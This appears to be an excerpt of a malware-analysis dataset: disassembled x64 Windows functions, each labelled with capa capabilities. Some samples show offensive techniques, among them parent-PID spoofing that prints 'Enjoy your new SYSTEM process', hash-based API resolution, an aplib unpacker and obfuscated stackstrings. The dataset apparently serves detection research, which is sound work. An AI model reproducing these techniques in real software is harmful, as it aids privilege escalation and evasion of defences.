joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002190
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x1400021b2
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je case.default.0x1400021c1
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x1400021e4
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x1400021e6
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140002222
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x1400022be
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x14000225d
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x14000229e
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x1400022be
cmp rbx, rax
ja 0x140002270
test rbx, rbx
je 0x1400022be
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
add byte [rbp + rsi*2 + 0x43060040], ch
jb 0x14000ca52
invalid
add al, byte [rax]
add byte [rax], al
add byte [rax], al
insb byte [rdi], dx
and eax, dword [rax]
adc al, 8
push rax
outsd dx, dword [rsi]
outsb dx, byte [rsi]
imul esi, dword [rdi + rbp*2 + 0x72], 0x40246c
add al, byte [rax]
and byte [rbx], 0x40
add byte [rdi + rdx], dl
push rsp
outsd dx, dword [rsi]
outsb dx, byte [rsi]
imul esi, dword [rdi + rbp*2 + 0x72], 0x6157502e
imul esi, dword [rcx + rbp*2 + 0x6e], 0x72685467
invalid
jb 0x14000caec
Function at 0x140002720
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140009040]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14000274d
xor eax, eax
jmp 0x1400028b9
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x140002787
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x140002787
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x1400028b9
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x1400028ac
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x1400027ca
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x1400027f5
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x1400028b1
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140002864
sub eax, 1
je 0x140002864
cmp eax, 2
jne 0x1400028ac
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x1400028b1
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140002892
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x1400028ac
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x1400028b1
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.1400038f0
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x140002b40
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x140009040]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140002c13
cmp byte [rcx + 0x71], 0
je 0x140002c13
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x140002c0f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140002bd4
sub eax, 1
je 0x140002bd8
cmp eax, 2
jne 0x140002c0f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400038f0
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140002c06
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x140002c0f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x140002bbc
xor al, al
jmp 0x140002bbc
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400038f0
add rsp, 0x60
pop rbx
ret

Function at 0x1400042a4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
test rax, rax
je 0x1400042ee
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400042ee
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400042ee
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400042ee
cmp dword [rcx + 0x84], 0xe
jbe 0x1400042ee
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400042f0
xor al, al
add rsp, 0x28
ret
Function at 0x141093058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1410931df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x141093089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14109306f
add dl, dl
jne 0x141093096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1410930f6
xor eax, eax
add dl, dl
jne 0x1410930a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1410931ad
add dl, dl
jne 0x1410930b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1410930c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1410930d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1410930dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1410930ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14109307e
mov eax, 1
add dl, dl
jne 0x141093106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141093113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1410930fb
sub eax, ebx
mov ebx, 1
jne 0x14109314c
mov ecx, 1
add dl, dl
jne 0x14109312e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14109313b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141093123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14109307e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x141093168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141093175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14109315d
cmp eax, 0x7d00
jae 0x14109319b
cmp eax, 0x500
jb 0x141093196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14109307e
cmp eax, 0x7f
ja 0x14109319e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14109307e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1410931d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14109307e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x14001943c
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0xb0
xor r14d, r14d
mov dword [rsp + 0x20], r14d
lea rcx, [rax - 0x78]
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
mov esi, r14d
xor eax, eax
lock cmpxchg qword [0x1400306f8], rbx
je 0x1400194a3
cmp rax, rbx
jne 0x140019496
mov ebx, 1
mov esi, ebx
jmp 0x1400194a8
mov ecx, 0x3e8
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_Sleep]
jmp 0x14001947b
mov ebx, 1
mov eax, dword [0x140030700]
cmp eax, ebx
jne 0x1400194c0
mov edi, 0x1f
mov ecx, edi
call sub.msvcrt.dll__amsg_exit
jmp 0x14001952c
mov eax, dword [0x140030700]
test eax, eax
jne 0x140019521
mov dword [0x140030700], ebx
lea r15, [0x14001dcb8]
lea rdi, [0x14001dca0]
mov qword [rsp + 0x30], rdi
mov eax, r14d
mov dword [rsp + 0x24], eax
cmp rdi, r15
jae 0x140019513
test eax, eax
jne 0x140019517
cmp qword [rdi], r14
je 0x140019508
mov rax, qword [rdi]
mov rcx, qword [0x14001dc18]
call rcx
mov dword [rsp + 0x24], eax
add rdi, 8
mov qword [rsp + 0x30], rdi
jmp 0x1400194ea
test eax, eax
je 0x140019527
mov eax, 0xff
jmp 0x140019682
mov dword [0x14002ffb4], ebx
mov edi, 0x1f
mov eax, dword [0x140030700]
cmp eax, ebx
jne 0x140019553
lea rdx, [0x14001dc98]
lea rcx, [0x14001dc20]
call sub.msvcrt.dll__initterm
mov dword [0x140030700], 2
test esi, esi
jne 0x140019561
mov rax, r14
xchg qword [0x1400306f8], rax
cmp qword [0x140030718], r14
je 0x140019594
lea rcx, [0x140030718]
call fcn.140019a50
test eax, eax
je 0x140019594
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x140030718]
mov r9, qword [0x14001dc18]
call r9
mov rax, qword [sym.imp.msvcrt.dll__wcmdln]
mov rcx, qword [rax]
test rcx, rcx
jne 0x1400195ad
mov eax, 0xff
jmp 0x140019682
mov qword [rsp + 0x28], rcx
mov edx, dword [rsp + 0x20]
movzx eax, word [rcx]
cmp ax, 0x20
ja 0x140019633
test ax, ax
je 0x1400195c8
test edx, edx
jne 0x140019633
sub ax, bx
cmp ax, di
ja 0x1400195de
add rcx, 2
mov qword [rsp + 0x28], rcx
movzx eax, word [rcx]
jmp 0x1400195c8
test byte [rsp + 0x7c], bl
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rcx
xor edx, edx
lea rcx, [0x140000000]
call fcn.140003e4c
mov dword [0x14002ffb0], eax
cmp dword [0x14002ffd0], r14d
jne 0x14001961c
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x14002ffb4], r14d
jne 0x140019631
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x14002ffb0]
jmp 0x140019682
cmp ax, 0x22
jne 0x140019647
mov eax, r14d
test edx, edx
sete al
mov edx, eax
mov dword [rsp + 0x20], eax
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x1400195b6
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop r15
ret
sub rsp, 0x28
call fcn.140187000
add rsp, 0x28
jmp 0x14001943c
Function at 0x218631aa4
Capabilities:
Create thread

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov qword [rbp + 0x20], r8
cmp dword [rbp + 0x18], 3
ja 0x218631cbe
cmp dword [rbp + 0x18], 2
jae 0x218631cbd
cmp dword [rbp + 0x18], 0
je 0x218631cbd
cmp dword [rbp + 0x18], 1
jne 0x218631cbe
mov ecx, 0x6ae69f02
call fcn.218631728
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov edx, 0x3fc1bd8d
mov rcx, rax
call fcn.218631380
mov qword [rbp - 0x10], rax
movabs rax, 0x642e74726376736d
mov qword [rbp - 0x1b], rax
mov dword [rbp - 0x14], 0x6c6c64
lea rax, [rbp - 0x1b]
mov rdx, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov qword [0x218642088], rax
mov rax, qword [0x218642088]
mov edx, 0x8463960a
mov rcx, rax
call fcn.218631380
mov qword [0x218642038], rax
mov rax, qword [0x218642088]
mov edx, 0x63985f1e
mov rcx, rax
call fcn.218631380
mov qword [0x218642020], rax
mov rax, qword [0x218642088]
mov edx, 0xd21739f1
mov rcx, rax
call fcn.218631380
mov qword [0x218642078], rax
mov rax, qword [0x218642088]
mov edx, 0x18c6f574
mov rcx, rax
call fcn.218631380
mov qword [0x218642030], rax
mov rax, qword [0x218642088]
mov edx, 0x23398d9a
mov rcx, rax
call fcn.218631380
mov qword [0x218642080], rax
mov rax, qword [0x218642088]
mov edx, 0x41d2476a
mov rcx, rax
call fcn.218631380
mov qword [0x218642028], rax
mov rax, qword [0x218642088]
mov edx, 0xd141afd3
mov rcx, rax
call fcn.218631380
mov qword [0x218642040], rax
mov rax, qword [0x218642088]
mov edx, 0x57f17b6b
mov rcx, rax
call fcn.218631380
mov qword [0x218642048], rax
mov rax, qword [0x218642088]
mov edx, 0x25d112d
mov rcx, rax
call fcn.218631380
mov qword [0x218642050], rax
mov rax, qword [0x218642088]
mov edx, 0x1c13e31d
mov rcx, rax
call fcn.218631380
mov qword [0x218642058], rax
mov rax, qword [0x218642088]
mov edx, 0xa719deaf
mov rcx, rax
call fcn.218631380
mov qword [0x218642060], rax
mov rax, qword [0x218642088]
mov edx, 0x61e2048f
mov rcx, rax
call fcn.218631380
mov qword [0x218642068], rax
mov rax, qword [0x218642088]
mov edx, 0xf3b07fcc
mov rcx, rax
call fcn.218631380
mov qword [0x218642070], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [0x218631a5a]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
jmp 0x218631cbe
nop
mov eax, 1
add rsp, 0x50
pop rbp
ret
Function at 0x2186321c0
Capabilities:
Hash data with crc32

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rbp + 0x10], rcx
mov dword [rbp - 0x10], 0
mov dword [rbp - 4], 0xffffffff
mov dword [rbp - 8], 0
jmp 0x21863222f
mov eax, dword [rbp - 8]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
movzx eax, byte [rax]
movsx eax, al
xor dword [rbp - 4], eax
mov dword [rbp - 0xc], 0
jmp 0x218632225
mov eax, dword [rbp - 4]
and eax, 1
neg eax
mov dword [rbp - 0x10], eax
mov eax, dword [rbp - 4]
shr eax, 1
mov edx, eax
mov eax, dword [rbp - 0x10]
and eax, 0xedb88320
xor eax, edx
mov dword [rbp - 4], eax
add dword [rbp - 0xc], 1
cmp dword [rbp - 0xc], 7
jle 0x218632202
add dword [rbp - 8], 1
mov eax, dword [rbp - 8]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
movzx eax, byte [rax]
test al, al
jne 0x2186321e3
mov eax, dword [rbp - 4]
not eax
add rsp, 0x10
pop rbp
ret
Function at 0x21863c680
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
push rdi
sub rsp, 0x2c8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x260], rcx
mov qword [rbp + 0x230], 0
mov qword [rbp + 0x228], 0xffffffffffffffff
mov qword [rbp + 0x210], 0
mov qword [rbp + 0x218], 0
pxor xmm0, xmm0
movups xmmword [rbp + 0x1e0], xmm0
movups xmmword [rbp + 0x1f0], xmm0
movups xmmword [rbp + 0x200], xmm0
mov qword [rbp + 0x1d8], 0
mov dword [rbp + 0x23c], 0
lea rdx, [rbp - 0x30]
mov eax, 0
mov ecx, 0x41
mov rdi, rdx
rep stosq qword [rdi], rax
mov word [rbp - 0x30], 0x5c
mov word [rbp - 0x2e], 0x4b
mov word [rbp - 0x2c], 0x6e
mov word [rbp - 0x2a], 0x6f
mov word [rbp - 0x28], 0x77
mov word [rbp - 0x26], 0x6e
mov word [rbp - 0x24], 0x44
mov word [rbp - 0x22], 0x6c
mov word [rbp - 0x20], 0x6c
mov word [rbp - 0x1e], 0x73
mov word [rbp - 0x1c], 0x5c
mov rax, qword [0x21863e170]
mov r8, qword [rax + 0x48]
mov rdx, qword [rbp + 0x260]
lea rax, [rbp - 0x30]
mov rcx, rax
call r8
lea rax, [rbp - 0x30]
mov qword [rbp + 0x218], rax
mov rax, qword [0x21863e170]
mov rdx, qword [rax + 0x50]
lea rax, [rbp - 0x30]
mov rcx, rax
call rdx
add eax, eax
mov word [rbp + 0x212], ax
movzx eax, word [rbp + 0x212]
mov word [rbp + 0x210], ax
mov dword [rbp + 0x1e0], 0x30
mov qword [rbp + 0x1e8], 0
mov dword [rbp + 0x1f8], 0x40
lea rax, [rbp + 0x210]
mov qword [rbp + 0x1f0], rax
mov qword [rbp + 0x200], 0
mov qword [rbp + 0x208], 0
lea rdx, [rbp + 0x1e0]
lea rax, [rbp + 0x228]
mov r8, rdx
mov edx, 0xc
mov rcx, rax
call fcn.2186340b4
mov dword [rbp + 0x23c], eax
cmp dword [rbp + 0x23c], 0
jne 0x21863c811
mov eax, 0
jmp 0x21863c88a
mov rax, qword [rbp + 0x228]
lea rcx, [rbp + 0x230]
mov dword [rsp + 0x48], 2
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 2
lea rdx, [rbp + 0x1d8]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rcx
mov rdx, 0xffffffffffffffff
mov rcx, rax
call fcn.218633c04
mov dword [rbp + 0x23c], eax
cmp dword [rbp + 0x23c], 0
jne 0x21863c883
mov eax, 0
jmp 0x21863c88a
mov rax, qword [rbp + 0x230]
add rsp, 0x2c8
pop rdi
pop rbp
ret
Function at 0x140011212
Capabilities:
Terminate process

Disassembly:
jmp 0x140014990
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret

Function at 0x140011217
Capabilities:
Create process on windows
Spoof parent pid

Disassembly:
jmp 0x140011880
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x218
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x42
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x238]
mov rax, qword [0x14001e040]
xor rax, rbp
mov qword [rbp + 0x1b8], rax
lea rcx, [0x1400240a3]
call fcn.1400113cf
nop
mov r8d, 0x70
xor edx, edx
lea rcx, [rbp + 0x10]
call fcn.140011307
nop
lea r9, [rbp + 0xc8]
xor r8d, r8d
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
nop
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0xc8]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbp + 0x78], rax
lea r9, [rbp + 0xc8]
xor r8d, r8d
mov edx, 1
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
nop
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 8
lea r9, [rbp + 0x1e0]
mov r8d, 0x20000
xor edx, edx
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
nop
mov dword [rbp + 0x10], 0x70
lea rax, [rbp + 0x98]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80010
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0x1e8]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [rbp + 0xe4], eax
cmp dword [rbp + 0xe4], 0
jne 0x1400119e2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error_creating_new_process___d__n
call fcn.1400111a4
nop
mov eax, 3
jmp 0x1400119f1
lea rcx, str.Enjoy_your_new_SYSTEM_process_n
call fcn.1400111a4
nop
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x14001ae00]
call fcn.14001135c
mov rax, rdi
mov rcx, qword [rbp + 0x1b8]
xor rcx, rbp
call fcn.1400111c2
lea rsp, [rbp + 0x1c8]
pop rdi
pop rbp
ret
Function at 0x140011294
Capabilities:
Enumerate processes

Disassembly:
jmp 0x140011d20
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x468
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xb2
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x488]
mov rax, qword [0x14001e040]
xor rax, rbp
mov qword [rbp + 0x438], rax
mov byte [rbp + 0x424], 0
lea rcx, [0x1400240a3]
call fcn.1400113cf
nop
mov dword [rbp + 0x10], 0x238
xor edx, edx
mov ecx, 2
call fcn.1400111ae
mov qword [rbp + 0x288], rax
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x288]
call fcn.14001124e
cmp eax, 1
jne 0x140011dde
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x288]
call fcn.14001137f
cmp eax, 1
jne 0x140011dde
mov rdx, qword [rbp + 0x460]
lea rcx, [rbp + 0x3c]
call qword [sym.imp.ucrtbased.dll_wcscmp]
test eax, eax
jne 0x140011ddc
mov byte [rbp + 0x424], 1
mov eax, dword [rbp + 0x18]
mov dword [rbp + 0x264], eax
jmp 0x140011dde
jmp 0x140011da0
mov rcx, qword [rbp + 0x288]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
cmp byte [rbp + 0x424], 0
jne 0x140011e02
lea rcx, [0x14001acb0]
call fcn.1400110a0
nop
mov eax, dword [rbp + 0x264]
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001ad00]
call fcn.14001135c
mov eax, edi
mov rcx, qword [rbp + 0x438]
xor rcx, rbp
call fcn.1400111c2
lea rsp, [rbp + 0x448]
pop rdi
pop rbp
ret
Function at 0x1400112b7
Capabilities:
Parse pe header

Disassembly:
jmp 0x140015ce0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140015d00
xor al, al
jmp 0x140015d81
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140015d13
xor al, al
jmp 0x140015d81
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140015d3d
xor al, al
jmp 0x140015d81
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140015d51
xor al, al
jmp 0x140015d81
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140015d63
xor al, al
jmp 0x140015d81
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140015d7f
xor al, al
jmp 0x140015d81
mov al, 1
add rsp, 0x38
ret
Function at 0x140013560
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.1400113f7
movzx eax, al
test eax, eax
jne 0x140013580
mov ecx, 7
call fcn.140011366
nop
mov byte [rsp + 0x20], 0
call fcn.14001137a
mov byte [rsp + 0x21], al
cmp dword [0x14001e8f8], 1
jne 0x1400135a4
mov ecx, 7
call fcn.140011366
nop
jmp 0x1400135fc
cmp dword [0x14001e8f8], 0
jne 0x1400135f7
mov dword [0x14001e8f8], 1
lea rdx, [0x14001a660]
lea rcx, [0x14001a330]
call fcn.1400111a9
test eax, eax
je 0x1400135d8
mov eax, 0xff
jmp 0x140013701
lea rdx, [0x14001a220]
lea rcx, [section..rdata]
call fcn.140011370
mov dword [0x14001e8f8], 2
jmp 0x1400135fc
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.140011352
call fcn.1400112df
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140013659
mov rcx, qword [rsp + 0x30]
call fcn.14001115e
movzx eax, al
test eax, eax
je 0x140013659
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140025020]
nop
call fcn.140011316
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x14001368d
